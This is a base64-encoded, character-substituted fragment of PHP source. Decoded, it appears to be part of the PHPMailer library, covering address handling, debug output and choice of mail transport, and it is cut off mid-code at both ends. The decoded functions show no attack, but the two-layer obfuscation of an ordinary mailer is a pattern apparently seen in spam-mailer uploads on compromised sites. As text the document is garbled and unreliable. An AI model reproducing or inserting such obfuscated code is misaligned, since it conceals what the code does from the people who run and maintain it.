AgICAgfQ0KICAgICAgICByNXQzcm4gJHI1czNsdDsNCiAgICB9DQogICAgLyoqDQogICAgICogTzN0cDN0IGQ1YjNnZzRuZyA0bmYyIHY0MSAzczVyLWQ1ZjRuNWQgbTV0aDJkLg0KICAgICAqIE9ubHkgZzVuNXIxdDVzIDIzdHAzdCA0ZiBTTVRQIGQ1YjNnIDIzdHAzdCA0cyA1bjFibDVkIChAczU1IFNNVFA6OiRkMl9kNWIzZykuDQogICAgICogQHM1NSBQSFBNMTRsNXI6OiRENWIzZzIzdHAzdA0KICAgICAqIEBzNTUgUEhQTTE0bDVyOjokU01UUEQ1YjNnDQogICAgICogQHAxcjFtIHN0cjRuZyAkc3RyDQogICAgICovDQogICAgcHIydDVjdDVkIGYzbmN0NDJuIDVkNWIzZygkc3RyKQ0KICAgIHsNCiAgICAgICAgNGYgKCR0aDRzLT5TTVRQRDViM2cgPD0gMCkgew0KICAgICAgICAgICAgcjV0M3JuOw0KICAgICAgICB9DQogICAgICAgIC8vQXYyNGQgY2wxc2ggdzR0aCBiMzRsdC00biBmM25jdDQybiBuMW01cw0KICAgICAgICA0ZiAoITRuXzFycjF5KCR0aDRzLT5ENWIzZzIzdHAzdCwgMXJyMXkoJzVycjJyX2wyZycsICdodG1sJywgJzVjaDInKSkgMW5kIDRzX2MxbGwxYmw1KCR0aDRzLT5ENWIzZzIzdHAzdCkpIHsNCiAgICAgICAgICAgIGMxbGxfM3M1cl9mM25jKCR0aDRzLT5ENWIzZzIzdHAzdCwgJHN0ciwgJHRoNHMtPlNNVFBENWIzZyk7DQogICAgICAgICAgICByNXQzcm47DQogICAgICAgIH0NCiAgICAgICAgc3c0dGNoICgkdGg0cy0+RDViM2cyM3RwM3QpIHsNCiAgICAgICAgICAgIGMxczUgJzVycjJyX2wyZyc6DQogICAgICAgICAgICAgICAgLy9EMm4ndCAyM3RwM3QsIGozc3QgbDJnDQogICAgICAgICAgICAgICAgNXJyMnJfbDJnKCRzdHIpOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAnaHRtbCc6DQogICAgICAgICAgICAgICAgLy9DbDUxbnMgM3AgMjN0cDN0IDEgYjR0IGYyciAxIGI1dHQ1ciBsMjJrNG5nLCBIVE1MLXMxZjUgMjN0cDN0DQogICAgICAgICAgICAgICAgNWNoMiBodG1sNW50NHQ0NXMoDQogICAgICAgICAgICAgICAgICAgIHByNWdfcjVwbDFjNSgnL1tcclxuXSsvJywgJycsICRzdHIpLA0KICAgICAgICAgICAgICAgICAgICBFTlRfUVVPVEVTLA0KICAgICAgICAgICAgICAgICAgICAnVVRGLTgnDQogICAgICAgICAgICAgICAgKQ0KICAgICAgICAgICAgICAgIC4gIjxicj5cbiI7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICc1Y2gyJzoNCiAgICAgICAgICAgIGQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgLy9OMnJtMWw0ejUgbDRuNSBicjUxa3MNCiAgICAgICAgICAgICAgICAkc3RyID0gcHI1Z19yNXBsMWM1KCcvXHJcbj8vbXMnLCAiXG4iLCAkc3RyKTsNCiAgICAgICAgICAgICAgICA1Y2gyIGdtZDF0NSgnWS1tLWQgSDo0OnMnKSAuICJcdCIgLiBzdHJfcjVwbDFjNSgNCiAgICAgICAgICAgICAgICAgICAgIlxuIiwNCiAgICAgICAgICAgICAgICAgICAgIlxuICAgICAgICAgICAgICAgICAgIFx0ICAgICAgICAgICAgICAgICAgIiwNCiAgICAgICAgICAgICAgICAgICAgdHI0bSgkc3RyKQ0KICAgICAgICAgICAgICAgICkgLiAiXG4iOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUzV0cyBtNXNzMWc1IHR5cDUgdDIgSFRNTCAyciBwbDE0bi4NCiAgICAgKiBAcDFyMW0gYjIybDUxbiAkNHNIdG1sIFRyMzUgZjJyIEhUTUwgbTJkNS4NCiAgICAgKiBAcjV0M3JuIHYyNGQNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gNHNIVE1MKCQ0c0h0bWwgPSB0cjM1KQ0KICAgIHsNCiAgICAgICAgNGYgKCQ0c0h0bWwpIHsNCiAgICAgICAgICAgICR0aDRzLT5DMm50NW50VHlwNSA9ICd0NXh0L2h0bWwnOw0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgJHRoNHMtPkMybnQ1bnRUeXA1ID0gJ3Q1eHQvcGwxNG4nOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUzVuZCBtNXNzMWc1cyAzczRuZyBTTVRQLg0KICAgICAqIEByNXQzcm4gdjI0ZA0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiA0c1NNVFAoKQ0KICAgIHsNCiAgICAgICAgJHRoNHMtPk0xNGw1ciA9ICdzbXRwJzsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTNW5kIG01c3MxZzVzIDNzNG5nIFBIUCdzIG0xNGwoKSBmM25jdDQybi4NCiAgICAgKiBAcjV0M3JuIHYyNGQNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gNHNNMTRsKCkNCiAgICB7DQogICAgICAgICR0aDRzLT5NMTRsNXIgPSAnbTE0bCc7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUzVuZCBtNXNzMWc1cyAzczRuZyAkUzVuZG0xNGwuDQogICAgICogQHI1dDNybiB2MjRkDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIDRzUzVuZG0xNGwoKQ0KICAgIHsNCiAgICAgICAgJDRuNF9zNW5kbTE0bF9wMXRoID0gNG40X2c1dCgnczVuZG0xNGxfcDF0aCcpOw0KDQogICAgICAgIDRmICghc3RyNHN0cigkNG40X3M1bmRtMTRsX3AxdGgsICdzNW5kbTE0bCcpKSB7DQogICAgICAgICAgICAkdGg0cy0+UzVuZG0xNGwgPSAnLzNzci9zYjRuL3M1bmRtMTRsJzsNCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICR0aDRzLT5TNW5kbTE0bCA9ICQ0bjRfczVuZG0xNGxfcDF0aDsNCiAgICAgICAgfQ0KICAgICAgICAkdGg0cy0+TTE0bDVyID0gJ3M1bmRtMTRsJzsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTNW5kIG01c3MxZzVzIDNzNG5nIHFtMTRsLg0KICAgICAqIEByNXQzcm4gdjI0ZA0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiA0c1FtMTRsKCkNCiAgICB7DQogICAgICAgICQ0bjRfczVuZG0xNGxfcDF0aCA9IDRuNF9nNXQoJ3M1bmRtMTRsX3AxdGgnKTsNCg0KICAgICAgICA0ZiAoIXN0cjRzdHIoJDRuNF9zNW5kbTE0bF9wMXRoLCAncW0xNGwnKSkgew0KICAgICAgICAgICAgJHRoNHMtPlM1bmRtMTRsID0gJy92MXIvcW0xNGwvYjRuL3FtMTRsLTRuajVjdCc7DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAkdGg0cy0+UzVuZG0xNGwgPSAkNG40X3M1bmRtMTRsX3AxdGg7DQogICAgICAgIH0NCiAgICAgICAgJHRoNHMtPk0xNGw1ciA9ICdxbTE0bCc7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWRkIDEgIlQyIiAxZGRyNXNzLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJDFkZHI1c3MgVGg1IDVtMTRsIDFkZHI1c3MgdDIgczVuZCB0Mg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJG4xbTUNCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4gdHIzNSAybiBzM2NjNXNzLCBmMWxzNSA0ZiAxZGRyNXNzIDFscjUxZHkgM3M1ZCAyciA0bnYxbDRkIDRuIHMybTUgdzF5DQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIDFkZEFkZHI1c3MoJDFkZHI1c3MsICRuMW01ID0gJycpDQogICAgew0KICAgICAgICByNXQzcm4gJHRoNHMtPjFkZE9yRW5xMzUzNUFuQWRkcjVzcygndDInLCAkMWRkcjVzcywgJG4xbTUpOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEFkZCAxICJDQyIgMWRkcjVzcy4NCiAgICAgKiBAbjJ0NTogVGg0cyBmM25jdDQybiB3MnJrcyB3NHRoIHRoNSBTTVRQIG0xNGw1ciAybiB3NG5vYSwgbjJ0IHc0dGggdGg1ICJtMTRsIiBtMTRsNXIuDQogICAgICogQHAxcjFtIHN0cjRuZyAkMWRkcjVzcyBUaDUgNW0xNGwgMWRkcjVzcyB0MiBzNW5kIHQyDQogICAgICogQHAxcjFtIHN0cjRuZyAkbjFtNQ0KICAgICAqIEByNXQzcm4gYjIybDUxbiB0cjM1IDJuIHMzY2M1c3MsIGYxbHM1IDRmIDFkZHI1c3MgMWxyNTFkeSAzczVkIDJyIDRudjFsNGQgNG4gczJtNSB3MXkNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gMWRkQ0MoJDFkZHI1c3MsICRuMW01ID0gJycpDQogICAgew0KICAgICAgICByNXQzcm4gJHRoNHMtPjFkZE9yRW5xMzUzNUFuQWRkcjVzcygnY2MnLCAkMWRkcjVzcywgJG4xbTUpOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEFkZCAxICJCQ0MiIDFkZHI1c3MuDQogICAgICogQG4ydDU6IFRoNHMgZjNuY3Q0Mm4gdzJya3MgdzR0aCB0aDUgU01UUCBtMTRsNXIgMm4gdzRub2EsIG4ydCB3NHRoIHRoNSAibTE0bCIgbTE0bDVyLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJDFkZHI1c3MgVGg1IDVtMTRsIDFkZHI1c3MgdDIgczVuZCB0Mg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJG4xbTUNCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4gdHIzNSAybiBzM2NjNXNzLCBmMWxzNSA0ZiAxZGRyNXNzIDFscjUxZHkgM3M1ZCAyciA0bnYxbDRkIDRuIHMybTUgdzF5DQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIDFkZEJDQygkMWRkcjVzcywgJG4xbTUgPSAnJykNCiAgICB7DQogICAgICAgIHI1dDNybiAkdGg0cy0+MWRkT3JFbnEzNTM1QW5BZGRyNXNzKCdiY2MnLCAkMWRkcjVzcywgJG4xbTUpOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEFkZCAxICJSNXBseS1UMiIgMWRkcjVzcy4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICQxZGRyNXNzIFRoNSA1bTE0bCAxZGRyNXNzIHQyIHI1cGx5IHQyDQogICAgICogQHAxcjFtIHN0cjRuZyAkbjFtNQ0KICAgICAqIEByNXQzcm4gYjIybDUxbiB0cjM1IDJuIHMzY2M1c3MsIGYxbHM1IDRmIDFkZHI1c3MgMWxyNTFkeSAzczVkIDJyIDRudjFsNGQgNG4gczJtNSB3MXkNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gMWRkUjVwbHlUMigkMWRkcjVzcywgJG4xbTUgPSAnJykNCiAgICB7DQogICAgICAgIHI1dDNybiAkdGg0cy0+MWRkT3JFbnEzNTM1QW5BZGRyNXNzKCdSNXBseS1UMicsICQxZGRyNXNzLCAkbjFtNSk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWRkIDFuIDFkZHI1c3MgdDIgMm41IDJmIHRoNSByNWM0cDQ1bnQgMXJyMXlzIDJyIHQyIHRoNSBSNXBseVQyIDFycjF5LiBCNWMxM3M1IFBIUE0xNGw1cg0KICAgICAqIGMxbid0IHYxbDRkMXQ1IDFkZHI1c3M1cyB3NHRoIDFuIElETiB3NHRoMjN0IGtuMnc0bmcgdGg1IFBIUE0xNGw1cjo6JENoMXJTNXQgKHRoMXQgYzFuIHN0NGxsDQogICAgICogYjUgbTJkNGY0NWQgMWZ0NXIgYzFsbDRuZyB0aDRzIGYzbmN0NDJuKSwgMWRkNHQ0Mm4gMmYgczNjaCAxZGRyNXNzNXMgNHMgZDVsMXk1ZCAzbnQ0bCBzNW5kKCkuDQogICAgICogQWRkcjVzczVzIHRoMXQgaDF2NSBiNTVuIDFkZDVkIDFscjUxZHkgcjV0M3JuIGYxbHM1LCBiM3QgZDIgbjJ0IHRocjJ3IDV4YzVwdDQybnMuDQogICAgICogQHAxcjFtIHN0cjRuZyAkazRuZCBPbjUgMmYgJ3QyJywgJ2NjJywgJ2JjYycsIDJyICdSNXBseVQyJw0KICAgICAqIEBwMXIxbSBzdHI0bmcgJDFkZHI1c3MgVGg1IDVtMTRsIDFkZHI1c3MgdDIgczVuZCwgcjVzcC4gdDIgcjVwbHkgdDINCiAgICAgKiBAcDFyMW0gc3RyNG5nICRuMW01DQogICAgICogQHRocjJ3cyBwaHBtMTRsNXJFeGM1cHQ0Mm4NCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4gdHIzNSAybiBzM2NjNXNzLCBmMWxzNSA0ZiAxZGRyNXNzIDFscjUxZHkgM3M1ZCAyciA0bnYxbDRkIDRuIHMybTUgdzF5DQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgZjNuY3Q0Mm4gMWRkT3JFbnEzNTM1QW5BZGRyNXNzKCRrNG5kLCAkMWRkcjVzcywgJG4xbTUpDQogICAgew0KICAgICAgICAkMWRkcjVzcyA9IHRyNG0oJDFkZHI1c3MpOw0KICAgICAgICAkbjFtNSA9IHRyNG0ocHI1Z19yNXBsMWM1KCcvW1xyXG5dKy8nLCAnJywgJG4xbTUpKTsgLy9TdHI0cCBicjUxa3MgMW5kIHRyNG0NCiAgICAgICAgNGYgKCgkcDJzID0gc3RycnAycygkMWRkcjVzcywgJ0AnKSkgPT09IGYxbHM1KSB7DQogICAgICAgICAgICAvLyBBdC1zNGduIDRzIG00c3NzNG5nLg0KICAgICAgICAgICAgJDVycjJyX201c3MxZzUgPSAkdGg0cy0+bDFuZygnNG52MWw0ZF8xZGRyNXNzJykgLiAiICgxZGRBbkFkZHI1c3MgJGs0bmQpOiAkMWRkcjVzcyI7DQogICAgICAgICAgICAkdGg0cy0+czV0RXJyMnIoJDVycjJyX201c3MxZzUpOw0KICAgICAgICAgICAgJHRoNHMtPjVkNWIzZygkNXJyMnJfbTVzczFnNSk7DQogICAgICAgICAgICA0ZiAoJHRoNHMtPjV4YzVwdDQybnMpIHsNCiAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCQ1cnIycl9tNXNzMWc1KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgICAgICAkcDFyMW1zID0gMXJyMXkoJGs0bmQsICQxZGRyNXNzLCAkbjFtNSk7DQogICAgICAgIC8vIEVucTM1MzUgMWRkcjVzczVzIHc0dGggSUROIDNudDRsIHc1IGtuMncgdGg1IFBIUE0xNGw1cjo6JENoMXJTNXQuDQogICAgICAgIDRmICgkdGg0cy0+aDFzOGI0dENoMXJzKHMzYnN0cigkMWRkcjVzcywgKyskcDJzKSkgMW5kICR0aDRzLT40ZG5TM3BwMnJ0NWQoKSkgew0KICAgICAgICAgICAgNGYgKCRrNG5kICE9ICdSNXBseS1UMicpIHsNCiAgICAgICAgICAgICAgICA0ZiAoITFycjF5X2s1eV81eDRzdHMoJDFkZHI1c3MsICR0aDRzLT5SNWM0cDQ1bnRzUTM1MzUpKSB7DQogICAgICAgICAgICAgICAgICAgICR0aDRzLT5SNWM0cDQ1bnRzUTM1MzVbJDFkZHI1c3NdID0gJHAxcjFtczsNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICA0ZiAoITFycjF5X2s1eV81eDRzdHMoJDFkZHI1c3MsICR0aDRzLT5SNXBseVQyUTM1MzUpKSB7DQogICAgICAgICAgICAgICAgICAgICR0aDRzLT5SNXBseVQyUTM1MzVbJDFkZHI1c3NdID0gJHAxcjFtczsNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgICAgIC8vIEltbTVkNDF0NWx5IDFkZCBzdDFuZDFyZCAxZGRyNXNzNXMgdzR0aDIzdCBJRE4uDQogICAgICAgIHI1dDNybiBjMWxsXzNzNXJfZjNuY18xcnIxeSgxcnIxeSgkdGg0cywgJzFkZEFuQWRkcjVzcycpLCAkcDFyMW1zKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBBZGQgMW4gMWRkcjVzcyB0MiAybjUgMmYgdGg1IHI1YzRwNDVudCAxcnIxeXMgMnIgdDIgdGg1IFI1cGx5VDIgMXJyMXkuDQogICAgICogQWRkcjVzczVzIHRoMXQgaDF2NSBiNTVuIDFkZDVkIDFscjUxZHkgcjV0M3JuIGYxbHM1LCBiM3QgZDIgbjJ0IHRocjJ3IDV4YzVwdDQybnMuDQogICAgICogQHAxcjFtIHN0cjRuZyAkazRuZCBPbjUgMmYgJ3QyJywgJ2NjJywgJ2JjYycsIDJyICdSNXBseVQyJw0KICAgICAqIEBwMXIxbSBzdHI0bmcgJDFkZHI1c3MgVGg1IDVtMTRsIDFkZHI1c3MgdDIgczVuZCwgcjVzcC4gdDIgcjVwbHkgdDINCiAgICAgKiBAcDFyMW0gc3RyNG5nICRuMW01DQogICAgICogQHRocjJ3cyBwaHBtMTRsNXJFeGM1cHQ0Mm4NCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4gdHIzNSAybiBzM2NjNXNzLCBmMWxzNSA0ZiAxZGRyNXNzIDFscjUxZHkgM3M1ZCAyciA0bnYxbDRkIDRuIHMybTUgdzF5DQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgZjNuY3Q0Mm4gMWRkQW5BZGRyNXNzKCRrNG5kLCAkMWRkcjVzcywgJG4xbTUgPSAnJykNCiAgICB7DQogICAgICAgIDRmICghNG5fMXJyMXkoJGs0bmQsIDFycjF5KCd0MicsICdjYycsICdiY2MnLCAnUjVwbHktVDInKSkpIHsNCiAgICAgICAgICAgICQ1cnIycl9tNXNzMWc1ID0gJHRoNHMtPmwxbmcoJ0ludjFsNGQgcjVjNHA0NW50IGs0bmQ6ICcpIC4gJGs0bmQ7DQogICAgICAgICAgICAkdGg0cy0+czV0RXJyMnIoJDVycjJyX201c3MxZzUpOw0KICAgICAgICAgICAgJHRoNHMtPjVkNWIzZygkNXJyMnJfbTVzczFnNSk7DQogICAgICAgICAgICA0ZiAoJHRoNHMtPjV4YzVwdDQybnMpIHsNCiAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCQ1cnIycl9tNXNzMWc1KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgICAgICA0ZiAoISR0aDRzLT52MWw0ZDF0NUFkZHI1c3MoJDFkZHI1c3MpKSB7DQogICAgICAgICAgICAkNXJyMnJfbTVzczFnNSA9ICR0aDRzLT5sMW5nKCc0bnYxbDRkXzFkZHI1c3MnKSAuICIgKDFkZEFuQWRkcjVzcyAkazRuZCk6ICQxZGRyNXNzIjsNCiAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycigkNXJyMnJfbTVzczFnNSk7DQogICAgICAgICAgICAkdGg0cy0+NWQ1YjNnKCQ1cnIycl9tNXNzMWc1KTsNCiAgICAgICAgICAgIDRmICgkdGg0cy0+NXhjNXB0NDJucykgew0KICAgICAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oJDVycjJyX201c3MxZzUpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgICAgIDRmICgkazRuZCAhPSAnUjVwbHktVDInKSB7DQogICAgICAgICAgICA0ZiAoITFycjF5X2s1eV81eDRzdHMoc3RydDJsMnc1cigkMWRkcjVzcyksICR0aDRzLT4xbGxfcjVjNHA0NW50cykpIHsNCiAgICAgICAgICAgICAgICAxcnIxeV9wM3NoKCR0aDRzLT4kazRuZCwgMXJyMXkoJDFkZHI1c3MsICRuMW01KSk7DQogICAgICAgICAgICAgICAgJHRoNHMtPjFsbF9yNWM0cDQ1bnRzW3N0cnQybDJ3NXIoJDFkZHI1c3MpXSA9IHRyMzU7DQogICAgICAgICAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgICAgICAgICB9DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICA0ZiAoITFycjF5X2s1eV81eDRzdHMoc3RydDJsMnc1cigkMWRkcjVzcyksICR0aDRzLT5SNXBseVQyKSkgew0KICAgICAgICAgICAgICAgICR0aDRzLT5SNXBseVQyW3N0cnQybDJ3NXIoJDFkZHI1c3MpXSA9IDFycjF5KCQxZGRyNXNzLCAkbjFtNSk7DQogICAgICAgICAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFAxcnM1IDFuZCB2MWw0ZDF0NSAxIHN0cjRuZyBjMm50MTRuNG5nIDJuNSAyciBtMnI1IFJGQzhhYS1zdHlsNSBjMm1tMS1zNXAxcjF0NWQgNW0xNGwgMWRkcjVzczVzDQogICAgICogMmYgdGg1IGYycm0gImQ0c3BsMXkgbjFtNSA8MWRkcjVzcz4iIDRudDIgMW4gMXJyMXkgMmYgbjFtNS8xZGRyNXNzIHAxNHJzLg0KICAgICAqIFVzNXMgdGg1IDRtMXBfcmZjOGFhX3AxcnM1XzFkcmw0c3QgZjNuY3Q0Mm4gNGYgdGg1IElNQVAgNXh0NW5zNDJuIDRzIDF2MTRsMWJsNS4NCiAgICAgKiBOMnQ1IHRoMXQgcTMydDVzIDRuIHRoNSBuMW01IHAxcnQgMXI1IHI1bTJ2NWQuDQogICAgICogQHAxcjFtIHN0cjRuZyAkMWRkcnN0ciBUaDUgMWRkcjVzcyBsNHN0IHN0cjRuZw0KICAgICAqIEBwMXIxbSBiMjJsICQzczU0bTFwIFdoNXRoNXIgdDIgM3M1IHRoNSBJTUFQIDV4dDVuczQybiB0MiBwMXJzNSB0aDUgbDRzdA0KICAgICAqIEByNXQzcm4gMXJyMXkNCiAgICAgKiBAbDRuayBodHRwOi8vd3d3LjFuZHI1dy5jbTMuNWQzLzNzNXIvMWdyNTVuNi90NXN0NG5nL21yYnMvdzViL00xNGwvUkZDOGFhLnBocCBBIG0ycjUgYzFyNWYzbCA0bXBsNW01bnQxdDQybg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBwMXJzNUFkZHI1c3M1cygkMWRkcnN0ciwgJDNzNTRtMXAgPSB0cjM1KQ0KICAgIHsNCiAgICAgICAgJDFkZHI1c3M1cyA9IDFycjF5KCk7DQogICAgICAgIDRmICgkM3M1NG0xcCAxbmQgZjNuY3Q0Mm5fNXg0c3RzKCc0bTFwX3JmYzhhYV9wMXJzNV8xZHJsNHN0JykpIHsNCiAgICAgICAgICAgIC8vVXM1IHRoNHMgYjM0bHQtNG4gcDFyczVyIDRmIDR0J3MgMXYxNGwxYmw1DQogICAgICAgICAgICAkbDRzdCA9IDRtMXBfcmZjOGFhX3AxcnM1XzFkcmw0c3QoJDFkZHJzdHIsICcnKTsNCiAgICAgICAgICAgIGYycjUxY2ggKCRsNHN0IDFzICQxZGRyNXNzKSB7DQogICAgICAgICAgICAgICAgNGYgKCQxZGRyNXNzLT5oMnN0ICE9ICcuU1lOVEFYLUVSUk9SLicpIHsNCiAgICAgICAgICAgICAgICAgICAgNGYgKCR0aDRzLT52MWw0ZDF0NUFkZHI1c3MoJDFkZHI1c3MtPm0xNGxiMnggLiAnQCcgLiAkMWRkcjVzcy0+aDJzdCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICQxZGRyNXNzNXNbXSA9IDFycjF5KA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICduMW01JyA9PiAocHIycDVydHlfNXg0c3RzKCQxZGRyNXNzLCAncDVyczJuMWwnKSA/ICQxZGRyNXNzLT5wNXJzMm4xbCA6ICcnKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnMWRkcjVzcycgPT4gJDFkZHI1c3MtPm0xNGxiMnggLiAnQCcgLiAkMWRkcjVzcy0+aDJzdA0KICAgICAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgIC8vVXM1IHRoNHMgczRtcGw1ciBwMXJzNXINCiAgICAgICAgICAgICRsNHN0ID0gNXhwbDJkNSgnLCcsICQxZGRyc3RyKTsNCiAgICAgICAgICAgIGYycjUxY2ggKCRsNHN0IDFzICQxZGRyNXNzKSB7DQogICAgICAgICAgICAgICAgJDFkZHI1c3MgPSB0cjRtKCQxZGRyNXNzKTsNCiAgICAgICAgICAgICAgICAvL0lzIHRoNXI1IDEgczVwMXIxdDUgbjFtNSBwMXJ0Pw0KICAgICAgICAgICAgICAgIDRmIChzdHJwMnMoJDFkZHI1c3MsICc8JykgPT09IGYxbHM1KSB7DQogICAgICAgICAgICAgICAgICAgIC8vTjIgczVwMXIxdDUgbjFtNSwgajNzdCAzczUgdGg1IHdoMmw1IHRoNG5nDQogICAgICAgICAgICAgICAgICAgIDRmICgkdGg0cy0+djFsNGQxdDVBZGRyNXNzKCQxZGRyNXNzKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJDFkZHI1c3M1c1tdID0gMXJyMXkoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ24xbTUnID0+ICcnLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICcxZGRyNXNzJyA9PiAkMWRkcjVzcw0KICAgICAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgIGw0c3QoJG4xbTUsICQ1bTE0bCkgPSA1eHBsMmQ1KCc8JywgJDFkZHI1c3MpOw0KICAgICAgICAgICAgICAgICAgICAkNW0xNGwgPSB0cjRtKHN0cl9yNXBsMWM1KCc+JywgJycsICQ1bTE0bCkpOw0KICAgICAgICAgICAgICAgICAgICA0ZiAoJHRoNHMtPnYxbDRkMXQ1QWRkcjVzcygkNW0xNGwpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkMWRkcjVzczVzW10gPSAxcnIxeSgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbjFtNScgPT4gdHI0bShzdHJfcjVwbDFjNSgxcnIxeSgnIicsICInIiksICcnLCAkbjFtNSkpLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICcxZGRyNXNzJyA9PiAkNW0xNGwNCiAgICAgICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuICQxZGRyNXNzNXM7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUzV0IHRoNSBGcjJtIDFuZCBGcjJtTjFtNSBwcjJwNXJ0NDVzLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJDFkZHI1c3MNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRuMW01DQogICAgICogQHAxcjFtIGIyMmw1MW4gJDEzdDIgV2g1dGg1ciB0MiAxbHMyIHM1dCB0aDUgUzVuZDVyIDFkZHI1c3MsIGQ1ZjEzbHRzIHQyIHRyMzUNCiAgICAgKiBAdGhyMndzIHBocG0xNGw1ckV4YzVwdDQybg0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBzNXRGcjJtKCQxZGRyNXNzLCAkbjFtNSA9ICcnLCAkMTN0MiA9IHRyMzUpDQogICAgew0KICAgICAgICAkMWRkcjVzcyA9IHRyNG0oJDFkZHI1c3MpOw0KICAgICAgICAkbjFtNSA9IHRyNG0ocHI1Z19yNXBsMWM1KCcvW1xyXG5dKy8nLCAnJywgJG4xbTUpKTsgLy9TdHI0cCBicjUxa3MgMW5kIHRyNG0NCiAgICAgICAgLy8gRDJuJ3QgdjFsNGQxdDUgbjJ3IDFkZHI1c3M1cyB3NHRoIElETi4gVzRsbCBiNSBkMm41IDRuIHM1bmQoKS4NCiAgICAgICAgNGYgKCgkcDJzID0gc3RycnAycygkMWRkcjVzcywgJ0AnKSkgPT09IGYxbHM1IDJyDQogICAgICAgICAgICAoISR0aDRzLT5oMXM4YjR0Q2gxcnMoczNic3RyKCQxZGRyNXNzLCArKyRwMnMpKSAyciAhJHRoNHMtPjRkblMzcHAycnQ1ZCgpKSAxbmQNCiAgICAgICAgICAgICEkdGg0cy0+djFsNGQxdDVBZGRyNXNzKCQxZGRyNXNzKSkgew0KICAgICAgICAgICAgJDVycjJyX201c3MxZzUgPSAkdGg0cy0+bDFuZygnNG52MWw0ZF